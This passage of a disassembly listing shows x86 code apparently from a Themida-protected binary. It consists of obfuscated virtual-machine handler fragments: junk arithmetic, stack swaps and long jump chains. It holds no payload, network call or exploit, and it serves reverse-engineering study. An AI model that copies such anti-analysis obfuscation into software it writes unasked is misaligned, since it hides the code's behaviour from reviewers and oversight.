		jmp	loc_58B6F4
; ---------------------------------------------------------------------------


loc_58BCAD:				; CODE XREF: sub_584787+6F5Dj
		mov	dl, 0C0h
		shr	dl, 1
		push	eax
		push	bx
		mov	bl, 0DEh
		push	edx
		mov	dl, bl
		mov	al, dl
		pop	edx
		pop	bx
		sub	al, 0DAh
		push	cx
		mov	cl, 7Bh
		push	ecx
		jmp	loc_58D524
; ---------------------------------------------------------------------------


loc_58BCCA:				; CODE XREF: sub_584787+B9B7j
		sub	ebx, 5F2673AAh
		sub	ebx, eax
		add	ebx, 5F2673AAh
		add	ebx, 0FDA7C8Ch
		jmp	loc_58CBC1
; ---------------------------------------------------------------------------


loc_58BCE3:				; CODE XREF: sub_584787+2BA8j
		push	ebx
		push	eax
		push	ebx
		mov	bh, 0E3h
		add	bh, 97h
		push	ecx
		jmp	loc_58A79C
; ---------------------------------------------------------------------------


loc_58BCF1:				; CODE XREF: sub_584787+52C1j
		sub	esp, 4
		mov	[esp-8+arg_4], edi
		mov	edi, esp
		jmp	loc_58E817
; ---------------------------------------------------------------------------


loc_58BD01:				; CODE XREF: sub_584787+47E6j
		push	ebp
		mov	ebp, 4
		sub	edi, 6ED86CEAh
		jmp	loc_5901EC
; ---------------------------------------------------------------------------


loc_58BD12:				; CODE XREF: sub_584787+3181j
		xor	ecx, 23D554CEh
		jmp	loc_58BE0D
; ---------------------------------------------------------------------------


loc_58BD1D:				; DATA XREF: Themida_:00584220o
		lodsd
		sub	eax, 75797493h
		push	edx
		mov	edx, 31854E1Ah
		jmp	loc_589803
; ---------------------------------------------------------------------------


loc_58BD2E:				; CODE XREF: sub_584787+9B6Cj
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58BD33:				; CODE XREF: sub_584787+66F6j
		sub	ebx, 79777067h
		push	0A2Ah
		mov	[esp-0Ch+arg_8], esi
		mov	esi, 86C2248h
		push	ebx
		jmp	loc_586229
; ---------------------------------------------------------------------------


loc_58BD4C:				; CODE XREF: sub_584787+5FECj
		add	eax, 0A5D4945h
		add	eax, ecx
		sub	eax, 0A5D4945h
		mov	ecx, [esp-4+arg_0]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		push	6ECh
		mov	[esp+4+var_4], edi
		mov	edi, 2C8639C0h
		shl	edi, 7
		jmp	loc_58D09D
; ---------------------------------------------------------------------------


loc_58BD79:				; CODE XREF: sub_584787+8F84j
		push	edx
		mov	edx, 25021ECFh
		dec	edx
		jmp	loc_58825A
; ---------------------------------------------------------------------------


loc_58BD85:				; CODE XREF: sub_584787+55EDj
		add	eax, 0FFBFDFABh
		jmp	loc_58916F
; ---------------------------------------------------------------------------


loc_58BD8F:				; CODE XREF: sub_584787+8C52j
		add	eax, 47946437h
		pop	edi
		add	eax, 4
		jmp	loc_58AEBB
; ---------------------------------------------------------------------------


loc_58BD9F:				; CODE XREF: sub_584787+B459j
		mov	ecx, 15A00E60h
		add	ecx, 1
		push	eax
		jmp	loc_58A705
; ---------------------------------------------------------------------------


loc_58BDB0:				; CODE XREF: sub_584787+8A7Dj
		inc	ebx
		not	ebx
		jmp	loc_58A398
; ---------------------------------------------------------------------------


loc_58BDB8:				; CODE XREF: sub_584787+31D3j
		sub	ebp, 4
		xchg	ebp, [esp+40h+var_42+2]
		jmp	loc_58BC95
; ---------------------------------------------------------------------------


loc_58BDC3:				; CODE XREF: sub_584787+6F82j
		mov	ebp, [esp+38h+var_38]
		add	esp, 4
		add	ebx, 2E1163DBh
		or	ebx, 6A031AD8h
		xor	ebx, 7D433866h
		jmp	loc_58F088
; ---------------------------------------------------------------------------


loc_58BDE0:				; CODE XREF: sub_584787+B476j
		pop	dx
		xor	bl, al
		movzx	eax, al
		jmp	loc_5899A6
; ---------------------------------------------------------------------------


loc_58BDEC:				; CODE XREF: sub_584787+5716j
		push	ebx
		mov	ebx, esp
		jmp	loc_58C67E
; ---------------------------------------------------------------------------


loc_58BDF4:				; CODE XREF: sub_584787+1669j
		push	esp
		mov	ebp, [esp+0Ch+var_C]
		jmp	loc_58F451
; ---------------------------------------------------------------------------


loc_58BDFD:				; CODE XREF: sub_584787+175Aj
		sub	eax, ebp
		pop	ebp
		add	edx, eax
		jmp	loc_5891A1
; ---------------------------------------------------------------------------


loc_58BE07:				; CODE XREF: sub_584787+9DE4j
		push	ecx
		jmp	loc_58C2B5
; ---------------------------------------------------------------------------


loc_58BE0D:				; CODE XREF: sub_584787+7591j
		sub	ecx, 86C9DD62h
		add	edi, ecx
		pop	ecx
		add	ebp, edi
		pop	edi
		jmp	loc_58784B
; ---------------------------------------------------------------------------


loc_58BE1E:				; CODE XREF: sub_584787+B80Cj
		mov	ebp, 0D94564A8h
		sub	ebp, ecx
		mov	ecx, [esp+40h+var_42+2]
		add	esp, 4
		push	ecx
		push	ebp
		xor	[esp+44h+var_46+2], 3E3D2369h
		pop	ecx
		xor	ecx, 3E3D2369h
		push	ecx
		sub	[esp+44h+var_46+2], 36C77BBh
		pop	esi
		add	esi, 36C77BBh
		pop	ecx
		pop	ebp
		dec	esi
		xor	esi, 47B43867h
		xor	eax, esi
		mov	esi, [esp+38h+var_38]
		add	esp, 4
		jmp	loc_5847D1
; ---------------------------------------------------------------------------


loc_58BE66:				; CODE XREF: sub_584787+8AAFj
		add	esp, 4
		push	48D3h
		mov	[esp+34h+var_34], ebp
		push	[esp+34h+var_34]
		pop	eax
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+38h+var_38]
		pop	esp
		mov	ebp, [esp+34h+var_34]
		add	esp, 4
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58BE96:				; CODE XREF: sub_584787+414Aj
		push	32F9h
		mov	[esp+0], ecx
		jmp	loc_587567
; ---------------------------------------------------------------------------


loc_58BEA3:				; CODE XREF: sub_584787+855Aj
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp-4+arg_0]
		pop	esp
		jmp	loc_58D54D
; ---------------------------------------------------------------------------


loc_58BEB9:				; CODE XREF: sub_584787+8DC1j
		add	ebx, 2
		xor	ebx, [esp-8+arg_4]
		xor	[esp-8+arg_4], ebx
		xor	ebx, [esp-8+arg_4]
		mov	esp, [esp-8+arg_4]
		ror	[esp-8+arg_4], cl
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58BED4:				; CODE XREF: sub_584787+3E6Fj
		add	eax, ecx
		jmp	loc_58CAB8
; ---------------------------------------------------------------------------


loc_58BEDB:				; CODE XREF: sub_584787+32B2j
		push	7D9Bh
		mov	[esp-0Ah+arg_4+2], ebp
		jmp	loc_584A95
; ---------------------------------------------------------------------------


loc_58BEE8:				; CODE XREF: sub_584787+BEB1j
		pop	ebp
		add	esp, 4
		sub	edi, 4
		xor	edi, [esp-12h+arg_E]
		xor	[esp-12h+arg_E], edi
		jmp	loc_58C470
; ---------------------------------------------------------------------------


loc_58BF00:				; CODE XREF: sub_584787+B56Ej
		add	bl, 7
		movzx	eax, al
		jmp	loc_58C393
; ---------------------------------------------------------------------------


loc_58BF0B:				; CODE XREF: sub_584787+33DFj
		mov	al, cl
		mov	dh, al
		pop	eax
		jmp	loc_58FC9F
; ---------------------------------------------------------------------------


loc_58BF15:				; CODE XREF: sub_584787+741Bj
		mov	edi, 78423733h
		push	ebp
		mov	ebp, 718A7BCCh
		sub	edi, ebp
		pop	ebp
		shl	edi, 8
		sub	edi, 0B7BB66FCh
		jmp	loc_58E9DE
; ---------------------------------------------------------------------------


loc_58BF31:				; CODE XREF: sub_584787+7EA9j
		inc	edx
		and	edx, 6C87219Eh
		jmp	loc_5888AB
; ---------------------------------------------------------------------------


loc_58BF3D:				; CODE XREF: sub_584787+7A08j
		mov	esp, [esp+2Eh+var_30+2]
		mov	[esp+2Eh+var_30+2], ebp
		mov	ebp, 40000h
		and	eax, ebp
		push	[esp+2Eh+var_30+2]
		pop	ebp
		jmp	loc_589FC2
; ---------------------------------------------------------------------------


loc_58BF53:				; CODE XREF: sub_584787+9694j
		mov	ecx, [esp+2Eh+var_30+2]
		add	esp, 4
		push	cx
		push	eax
		jmp	loc_5854F9
; ---------------------------------------------------------------------------


loc_58BF64:				; CODE XREF: sub_584787+1572j
		add	esp, 4
		or	eax, eax
		jz	loc_588FB5
		sub	esp, 4
		mov	[esp-4+arg_0], eax
		mov	eax, 1Ch
		jmp	loc_5878C0
; ---------------------------------------------------------------------------


loc_58BF82:				; CODE XREF: sub_584787-F9j
		xchg	edi, [esp-14h+arg_E+2]
		pop	esp
		mov	[esp-18h+arg_12+2], edx
		jmp	loc_589C0C
; ---------------------------------------------------------------------------


loc_58BF8E:				; CODE XREF: sub_584787+B35Dj
		xchg	edx, [esp-18h+arg_12+2]
		pop	esp
		sub	esp, 4
		mov	[esp-18h+arg_12+2], ebp
		jmp	loc_584757
; ---------------------------------------------------------------------------


loc_58BFA0:				; CODE XREF: sub_584787+4E2Cj
		mov	edx, 0E9655FAh
		sub	edx, 5754278Bh
		not	edx
		shr	edx, 3
		dec	edx
		shr	edx, 3
		add	edx, 408513E5h
		mov	ebx, edx
		pop	edx
		not	ebx
		push	edi
		mov	edi, 0F3049FAh
		jmp	loc_58E23B
; ---------------------------------------------------------------------------


loc_58BFCA:				; CODE XREF: sub_584787+AB5j
		sub	al, bl
		add	al, 0A3h
		sub	al, 71h
		mov	ebx, [esp+4Eh+var_4E]
		add	esp, 4
		shl	al, 1
		push	ebx
		mov	bh, 3Fh
		xor	bh, 0E1h
		inc	bh
		not	bh
		shr	bh, 1
		sub	bh, 0D6h
		xor	al, bh
		jmp	loc_58F2B5
; ---------------------------------------------------------------------------


loc_58BFEE:				; CODE XREF: sub_584787+16CEj
		xchg	ecx, [esp+10h+var_10]
		pop	esp
		jmp	loc_584D77
; ---------------------------------------------------------------------------


loc_58BFF7:				; CODE XREF: sub_584787+A153j
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		mov	[esp+0Ch+var_C], esi
		pop	dword ptr [edi+24h]
		mov	esi, [esp+8+var_8]
		jmp	loc_58CA48
; ---------------------------------------------------------------------------


loc_58C014:				; CODE XREF: sub_584787+8C2Bj
		add	esp, 4
		xor	ebp, [esp+4+var_4]
		xor	[esp+4+var_4], ebp
		xor	ebp, [esp+4+var_4]
		pop	esp
		mov	cx, [esp+0]
		jmp	loc_5866A4
; ---------------------------------------------------------------------------


loc_58C02A:				; CODE XREF: sub_584787+A0E4j
		or	dh, al
		pop	eax
		inc	dh
		xor	dh, 0AAh
		jmp	loc_58448A
; ---------------------------------------------------------------------------


loc_58C037:				; CODE XREF: sub_584787+7D2Ej
		add	eax, 4
		sub	eax, 4
		xor	eax, [esp-4+arg_0]
		xor	[esp-4+arg_0], eax
		xor	eax, [esp-4+arg_0]
		pop	esp
		jmp	loc_589BBB
; ---------------------------------------------------------------------------


loc_58C050:				; CODE XREF: sub_584787+A700j
		add	eax, 7D3BFC87h
		sub	edi, 3F4E327Ch
		jmp	loc_58D626
; ---------------------------------------------------------------------------


loc_58C060:				; CODE XREF: sub_584787+5B35j
		sub	esp, 4
		mov	[esp+24h+var_26+2], ecx
		jmp	loc_588429
; ---------------------------------------------------------------------------


loc_58C06E:				; CODE XREF: sub_584787+24DDj
		mov	esi, 4
		jmp	loc_58B3A6
; ---------------------------------------------------------------------------


loc_58C078:				; CODE XREF: sub_584787+1DBCj
		mov	esp, [esp+8+var_8]
		mov	[esp+8+var_8], esp
		add	[esp+8+var_8], 4
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58C087:				; CODE XREF: sub_584787+4BD3j
		xor	[esp+0], edx
		xor	edx, [esp+0]
		pop	esp
		push	161Dh
		mov	[esp+0], ebp
		mov	ebp, esp
		jmp	loc_58918E
; ---------------------------------------------------------------------------


loc_58C09D:				; CODE XREF: sub_584787+129Cj
		add	ebp, 4
		xchg	ebp, [esp-14h+arg_E+2]
		pop	esp
		add	al, bl
		push	small 44BAh
		mov	word ptr [esp-16h+arg_12], cx
		mov	cl, 0EDh
		add	al, 59h
		jmp	loc_58E9C1
; ---------------------------------------------------------------------------
		push	esi
		push	ecx
		jmp	loc_587818
; ---------------------------------------------------------------------------


loc_58C0BE:				; CODE XREF: sub_584787+1C8Ej
		add	ecx, esi
		add	ecx, 5D7B3690h
		pop	esi
		xchg	ecx, [esp+60h+var_60]
		pop	esp
		shr	eax, 0Eh
		xor	eax, ecx
		sub	esp, 4
		jmp	loc_585582
; ---------------------------------------------------------------------------


loc_58C0DB:				; CODE XREF: sub_584787+A599j
		add	bl, al
		jmp	loc_58C4E7
; ---------------------------------------------------------------------------


loc_58C0E2:				; CODE XREF: sub_584787+B370j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp+60h+var_60]
		xor	[esp+60h+var_60], ecx
		xor	ecx, [esp+60h+var_60]
		pop	esp
		push	edx
		push	ebp
		mov	ebp, 19F76686h
		xor	ebp, 64B06EACh
		push	ebx
		jmp	loc_58CF41
; ---------------------------------------------------------------------------


loc_58C10A:				; CODE XREF: sub_584787+6F70j
		pop	esp
		ror	byte ptr [esp+2Ah+var_2C+2], cl
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58C114:				; CODE XREF: sub_584787+8E8Bj
		pop	esp
		xor	bl, al
		movzx	eax, al
		pop	dword ptr [edi+eax*4]
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58C122:				; CODE XREF: sub_584787+43DDj
		mov	edi, 51202FAFh
		jmp	loc_586BE1
; ---------------------------------------------------------------------------


loc_58C12C:				; DATA XREF: Themida_:0058428Co
		lodsb
		xor	al, bl
		push	7284h
		mov	[esp], ecx
		push	ax
		mov	ah, 36h
		jmp	loc_590265
; ---------------------------------------------------------------------------


loc_58C140:				; CODE XREF: sub_584787+8D02j
		sub	ebp, 0F0E0A7Ah
		jmp	loc_59039B
; ---------------------------------------------------------------------------


loc_58C14B:				; CODE XREF: sub_584787+232Cj
		add	bh, 75h
		or	dl, bh
		pop	ebx
		add	dl, 88h
		jmp	loc_58ACDB
; ---------------------------------------------------------------------------


loc_58C159:				; CODE XREF: sub_584787+7157j
		push	eax
		mov	eax, 329B53D9h
		add	ebx, eax
		pop	eax
		pop	small word ptr [eax]
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58C16A:				; CODE XREF: sub_584787+AD4Bj
		xor	edx, [esp+10h+var_10]
		pop	esp
		add	edx, 4
		jmp	loc_58E03A
; ---------------------------------------------------------------------------


loc_58C179:				; CODE XREF: sub_584787+4721j
		mov	edi, [esp+16h+var_18+2]
		add	esp, 4
		push	edx
		push	esi
		pop	edx
		mov	eax, edx
		jmp	loc_584B48
; ---------------------------------------------------------------------------


loc_58C189:				; CODE XREF: sub_584787+3D3j
		sub	ecx, 4
		xchg	ecx, [esp+10h+var_10]
		jmp	loc_58BF3D
; ---------------------------------------------------------------------------


loc_58C194:				; CODE XREF: sub_584787+4F94j
		push	edi
		jmp	loc_58EB32
; ---------------------------------------------------------------------------


loc_58C19A:				; CODE XREF: sub_584787+AF35j
		push	ecx
		push	esp
		pop	ecx
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		jmp	loc_5848F8
; ---------------------------------------------------------------------------


loc_58C1AA:				; CODE XREF: sub_584787+2D47j
		pop	esi
		pop	[esp+3Ah+var_3C+2]
		jmp	loc_59032F
; ---------------------------------------------------------------------------


loc_58C1B3:				; CODE XREF: sub_584787+6D1Aj
		sub	esp, 4
		mov	[esp-0Ch+arg_8], ecx
		mov	ecx, 20BE2BC3h
		or	edi, ecx
		pop	ecx
		and	edi, 5C0C628Dh
		xor	edi, 38D807CBh
		sub	edi, 6391171h
		sub	ebx, edi
		pop	edi
		add	ebx, 154E17D4h
		jmp	loc_58B8D6
; ---------------------------------------------------------------------------


loc_58C1E1:				; CODE XREF: sub_584787+A43j
		mov	esi, [esp+0]
		add	esp, 4
		and	esi, 65137351h
		not	esi
		add	esi, 3A070306h
		jmp	loc_58C257
; ---------------------------------------------------------------------------


loc_58C1FA:				; CODE XREF: sub_584787+7DF8j
		push	ecx
		push	edi
		jmp	loc_58E195
; ---------------------------------------------------------------------------


loc_58C201:				; CODE XREF: sub_584787+69F1j
		pop	esp
		add	edi, 4
		jmp	loc_5852ED
; ---------------------------------------------------------------------------


loc_58C20D:				; CODE XREF: sub_584787+9C1Dj
		sub	[edi+20h], ebp
		jmp	loc_58D82C
; ---------------------------------------------------------------------------


loc_58C215:				; CODE XREF: sub_584787+3168j
		push	edx
		mov	dh, 91h
		sub	bl, dh
		pop	edx
		jmp	loc_5851E5
; ---------------------------------------------------------------------------


loc_58C220:				; CODE XREF: sub_584787+2F3Bj
		pop	edi
		push	ebp
		push	eax
		mov	eax, 4
		sub	esp, 4
		mov	[esp+4+var_4], ecx
		mov	ecx, eax
		mov	ebp, ecx
		pop	ecx
		jmp	loc_586347
; ---------------------------------------------------------------------------


loc_58C23B:				; CODE XREF: sub_584787+AE00j
		xor	[esp+0], edi
		jmp	loc_58504A
; ---------------------------------------------------------------------------


loc_58C243:				; CODE XREF: sub_584787+3622j
		sub	eax, edi
		jmp	loc_58CA02
; ---------------------------------------------------------------------------


loc_58C24A:				; CODE XREF: sub_584787+595j
		push	3FECh
		mov	[esp+0Ch+var_C], eax
		jmp	loc_587A32
; ---------------------------------------------------------------------------


loc_58C257:				; CODE XREF: sub_584787+7A6Ej
		sub	esi, 8742B7BCh
		jmp	loc_58760F
; ---------------------------------------------------------------------------


loc_58C262:				; CODE XREF: sub_584787+2836j
		xchg	ebp, edx
		not	ebp
		jmp	loc_58D159
; ---------------------------------------------------------------------------


loc_58C26B:				; CODE XREF: sub_584787+7E9Ej
		pop	ecx
		add	edi, 2
		xor	edi, [esp-18h+arg_12+2]
		jmp	loc_58DEF7
; ---------------------------------------------------------------------------


loc_58C27A:				; CODE XREF: sub_584787+7D6Ej
		sub	edx, 6F70AB5h
		shr	edx, 1
		add	edx, 0A6B126BFh
		add	eax, 2A5C2A1Eh
		add	eax, edx
		jmp	loc_58FAB7
; ---------------------------------------------------------------------------


loc_58C294:				; CODE XREF: sub_584787+49ACj
		add	edx, 6BE43D75h
		sub	edx, 3E322013h
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58C2A5:				; CODE XREF: sub_584787+5F1Aj
		push	ebp
		jmp	loc_58DBA9
; ---------------------------------------------------------------------------


loc_58C2AB:				; CODE XREF: sub_584787+1C36j
		mov	ebx, 6B4F36C1h
		jmp	loc_58F87D
; ---------------------------------------------------------------------------


loc_58C2B5:				; CODE XREF: sub_584787+7681j
		mov	ecx, 1AB20107h
		push	edx
		mov	edx, 5237E8Fh
		sub	ecx, edx
		pop	edx
		shr	ecx, 6
		add	ecx, 4FE50201h
		add	ecx, 0CD81D276h
		add	ebx, ecx
		pop	ecx
		mov	ecx, ebx
		pop	ebx
		add	eax, 69576658h
		add	eax, ecx
		push	esi
		jmp	loc_584516
; ---------------------------------------------------------------------------


loc_58C2E5:				; CODE XREF: sub_584787+825Dj
		xchg	esi, [esp-0Ch+arg_8]
		mov	esp, [esp-0Ch+arg_8]
		push	edx
		mov	dh, 1Ah
		shr	dh, 8
		inc	dh
		push	0
		sub	byte ptr [esp-4+arg_0],	dh
		mov	dh, byte ptr [esp-4+arg_0]
		push	ebx
		jmp	loc_58D825
; ---------------------------------------------------------------------------


loc_58C304:				; CODE XREF: sub_584787+BC1j
		pop	esi
		sub	esp, 4
		mov	[esp+52h+var_54+2], eax
		mov	eax, 2
		add	ebx, eax
		pop	eax
		push	ebx
		push	[esp+52h+var_4E]
		pop	ebx
		pop	[esp+52h+var_54+2]
		mov	esp, [esp+4Eh+var_4E]
		jmp	loc_58A426
; ---------------------------------------------------------------------------


loc_58C324:				; CODE XREF: sub_584787+A7DEj
		shl	edx, 1
		push	edi
		mov	edi, esp
		jmp	loc_58F3DC
; ---------------------------------------------------------------------------


loc_58C32E:				; CODE XREF: sub_584787-2AAj
		pop	edi
		pop	dword ptr [esp+0]
		mov	esp, [esp-4+arg_0]
		add	word ptr [esp-4+arg_0],	ax
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58C33F:				; CODE XREF: sub_584787+94F2j
		mov	ebp, 2
		add	esi, 602B0EF5h
		add	esi, ebp
		sub	esi, 602B0EF5h
		push	dword ptr [esp+0]
		jmp	loc_58DC21
; ---------------------------------------------------------------------------


loc_58C35A:				; CODE XREF: sub_584787+8B8Ej
		sub	ebx, ecx
		jmp	loc_585EBA
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+4+var_4]
		push	edi
		mov	edi, esp
		push	ebp
		push	esi
		mov	esi, 2AD96BABh
		or	esi, 757D773Ch
		jmp	loc_58EC8A
; ---------------------------------------------------------------------------


loc_58C37A:				; CODE XREF: sub_584787+19DDj
		mov	edx, 0FEh
		and	[edi+1Ch], edx
		push	[esp+2Eh+var_30+2]
		jmp	loc_58975F
; ---------------------------------------------------------------------------


loc_58C38A:				; CODE XREF: sub_584787+9EE5j
		and	edi, ebx
		pop	ebx
		push	edi
		jmp	loc_586BF5
; ---------------------------------------------------------------------------


loc_58C393:				; CODE XREF: sub_584787+777Fj
		push	dword ptr [edi+eax*4]
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58C39B:				; CODE XREF: sub_584787+69CBj
		add	ebp, eax
		pop	eax
		jmp	loc_5861AF
; ---------------------------------------------------------------------------


loc_58C3A3:				; CODE XREF: sub_584787+1065j
		add	esp, 4
		push	ebx
		mov	bl, 1Eh
		dec	bl
		shr	bl, 7
		dec	bl
		sub	bl, 0FBh
		or	bl, 0DCh
		sub	bl, 84h
		add	al, bl
		jmp	loc_588504
; ---------------------------------------------------------------------------


loc_58C3C0:				; CODE XREF: sub_584787+21DCj
		mov	[esp+16h+var_18+2], ebp
		mov	ebp, 4AC50865h
		jmp	loc_585B1F
; ---------------------------------------------------------------------------


loc_58C3CD:				; CODE XREF: sub_584787+B702j
		xchg	ebx, [esp+16h+var_18+2]
		jmp	loc_58CA60
; ---------------------------------------------------------------------------


loc_58C3D5:				; CODE XREF: sub_584787+476Aj
		mov	esi, [esp+6+var_8+2]
		add	esp, 4
		add	esp, 4
		or	eax, eax
		jz	loc_5872F8
		push	dword ptr [edi+1Ch]
		push	497Ch
		jmp	loc_590613
; ---------------------------------------------------------------------------


loc_58C3F9:				; CODE XREF: sub_584787+4BBDj
		mov	edx, [esp+0]
		add	esp, 4
		add	esp, 4
		jmp	loc_58F05A
; ---------------------------------------------------------------------------


loc_58C407:				; CODE XREF: sub_584787+57C1j
		add	al, 5
		sub	al, dh
		sub	al, 5
		push	edx
		mov	dh, 50h
		add	dh, 29h
		or	dh, 0C0h
		add	dh, 7Ah
		add	dh, 0B7h
		shl	dh, 7
		sub	dh, 0AFh
		sub	al, dh
		pop	edx
		pop	edx
		sub	al, bl
		jmp	loc_58ED70
; ---------------------------------------------------------------------------


loc_58C42D:				; CODE XREF: sub_584787+4CA7j
		add	ebx, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_58EA8F
; ---------------------------------------------------------------------------


loc_58C441:				; CODE XREF: sub_584787+19BBj
		sub	ebp, 293B257Fh
		dec	ebp
		shr	ebp, 1
		or	ebp, 662E7F2Ah
		jmp	loc_589853
; ---------------------------------------------------------------------------


loc_58C455:				; CODE XREF: sub_584787+B040j
		or	[edi+1Ch], ebx
		mov	ebx, [esp+2Ah+var_2C+2]
		jmp	loc_5865D4
; ---------------------------------------------------------------------------


loc_58C460:				; CODE XREF: sub_584787+8F8Dj
		pop	edi
		push	ecx
		push	eax
		mov	eax, 2DC7623Bh
		mov	ecx, eax
		pop	eax
		jmp	loc_584BDE
; ---------------------------------------------------------------------------


loc_58C470:				; CODE XREF: sub_584787+7774j
		xor	edi, [esp-12h+arg_E]
		pop	esp
		mov	[esp-16h+arg_12], eax
		jmp	loc_586ECD
; ---------------------------------------------------------------------------


loc_58C47C:				; CODE XREF: sub_584787+A833j
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		add	dh, 14h
		xor	al, dh
		pop	edx
		jmp	loc_58546D
; ---------------------------------------------------------------------------


loc_58C490:				; DATA XREF: Themida_:005842A8o
		lodsb
		push	ecx
		jmp	loc_5869FB
; ---------------------------------------------------------------------------


loc_58C497:				; CODE XREF: sub_584787+9C4Ej
		add	esp, 4
		jmp	loc_58683D
; ---------------------------------------------------------------------------


loc_58C4A2:				; DATA XREF: Themida_:0058425Co
		lodsb
		push	ebx
		mov	bl, 6Fh
		push	5D7Bh
		mov	[esp], ecx
		jmp	loc_58F69E
; ---------------------------------------------------------------------------


loc_58C4B3:				; CODE XREF: sub_584787+FC6j
		push	esp
		pop	eax
		jmp	loc_58C037
; ---------------------------------------------------------------------------


loc_58C4BA:				; CODE XREF: sub_584787+69D3j
		pop	esp
		mov	[esp+8+var_8], eax
		mov	al, 0C5h
		jmp	loc_587027
; ---------------------------------------------------------------------------


loc_58C4C5:				; CODE XREF: sub_584787+8D98j
		xchg	ebp, [esp+8+var_8]
		pop	esp
		push	73D6h
		mov	[esp+8+var_8], eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_58E97E
; ---------------------------------------------------------------------------


loc_58C4DD:				; CODE XREF: sub_584787+3042j
		mov	edi, 4D949C2Ch
		jmp	loc_58E7DF
; ---------------------------------------------------------------------------


loc_58C4E7:				; CODE XREF: sub_584787+7956j
		push	0EAh
		jmp	loc_58D9DA
; ---------------------------------------------------------------------------


loc_58C4F1:				; CODE XREF: sub_584787+3AEDj
		neg	edx
		inc	edx
		dec	edx
		jmp	loc_58C27A
; ---------------------------------------------------------------------------


loc_58C4FA:				; CODE XREF: sub_584787+3244j
		pop	ebp
		sub	esp, 4
		mov	[esp+40h+var_42+2], edi
		mov	edi, 54925683h
		xor	edi, 67F40594h
		inc	edi
		dec	edi
		dec	edi
		shl	edi, 4
		sub	edi, 0C71B2EF5h
		jmp	loc_5886FD
; ---------------------------------------------------------------------------


loc_58C51D:				; CODE XREF: sub_584787+1861j
		push	edx
		mov	edx, 4
		jmp	loc_58AB98
; ---------------------------------------------------------------------------


loc_58C528:				; CODE XREF: sub_584787+8435j
		and	eax, 28D564F1h
		inc	eax
		shl	eax, 1
		and	eax, 57DD0D60h
		push	edx
		mov	edx, 528113D7h
		xor	eax, edx
		pop	edx
		xor	edx, eax
		pop	eax
		shr	edx, 8
		and	edx, 78861E99h
		push	ecx
		jmp	loc_58B245
; ---------------------------------------------------------------------------


loc_58C550:				; CODE XREF: sub_584787+426Aj
		mov	word ptr [esp+30h+var_30], ax
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58C559:				; CODE XREF: sub_584787+672Fj
		add	esp, 4
		sub	eax, 65680CA5h
		push	7DCh
		mov	[esp+0Ch+var_C], ebx
		mov	ebx, 23DFC6F4h
		xor	eax, ebx
		push	[esp+0Ch+var_C]
		push	[esp+10h+var_10]
		mov	ebx, [esp+14h+var_14]
		push	edx
		mov	edx, esp
		jmp	loc_58C1FA
; ---------------------------------------------------------------------------


loc_58C584:				; CODE XREF: sub_584787+9AAFj
		add	ecx, 60A5F49h
		jmp	loc_587065
; ---------------------------------------------------------------------------


loc_58C58F:				; CODE XREF: sub_584787+E02j
		not	[esp+8+var_8]
		pop	ebx
		push	ebx
		push	[esp+8+var_4]
		mov	ebx, [esp+0Ch+var_C]
		push	edx
		sub	esp, 4
		mov	[esp+14h+var_14], esp
		add	[esp+14h+var_14], 4
		pop	edx
		jmp	loc_584EC0
; ---------------------------------------------------------------------------


loc_58C5AF:				; CODE XREF: sub_584787+7C7j
		push	ebx
		pop	edx
		mov	ebx, [esp-4+arg_0]
		add	esp, 4
		sub	ebx, 4B8A5D3Fh
		add	ebx, edx
		add	ebx, 4B8A5D3Fh
		pop	edx
		jmp	loc_58EC32
; ---------------------------------------------------------------------------


loc_58C5CB:				; CODE XREF: sub_584787+2076j
		push	edi
		push	ecx
		jmp	loc_584630
; ---------------------------------------------------------------------------


loc_58C5D2:				; CODE XREF: sub_584787+A691j
		pop	eax
		add	bl, 66h
		sub	dh, bl
		jmp	loc_58B3EA
; ---------------------------------------------------------------------------


loc_58C5DD:				; CODE XREF: sub_584787+4B8Aj
		pop	esp
		sub	esp, 4
		mov	[esp+0], edi
		sub	esp, 4
		jmp	loc_58487C
; ---------------------------------------------------------------------------


loc_58C5EF:				; CODE XREF: sub_584787+A8Dj
		or	edx, eax
		shl	edx, 1
		jmp	loc_589E33
; ---------------------------------------------------------------------------


loc_58C5F8:				; CODE XREF: sub_584787+8BEj
		mov	eax, [esp+1Ch+var_1C]
		add	esp, 4
		push	edx
		jmp	loc_584662
; ---------------------------------------------------------------------------


loc_58C607:				; CODE XREF: sub_584787+B05Ej
		add	eax, 4
		xchg	eax, [esp+1Ch+var_1C]
		pop	esp
		push	74Ah
		mov	[esp+1Ch+var_1C], ecx
		mov	ecx, 6E7E2D3Fh
		xor	ecx, 6E7E2D3Bh
		add	edi, ecx
		jmp	loc_58C26B
; ---------------------------------------------------------------------------


loc_58C62A:				; CODE XREF: sub_584787+B673j
		mov	edx, 3BF77DAFh
		inc	edx
		jmp	loc_58BF31
; ---------------------------------------------------------------------------


loc_58C635:				; CODE XREF: sub_584787+116Dj
		add	esp, 4
		push	eax
		push	esp
		jmp	loc_58F42F
; ---------------------------------------------------------------------------


loc_58C63F:				; CODE XREF: sub_584787+289Bj
		mov	eax, esi
		pop	esi
		pop	ebx
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58C648:				; CODE XREF: sub_584787+5A2Cj
		push	esi
		mov	esi, 16C05750h
		add	esi, 56FD0AD4h
		add	eax, esi
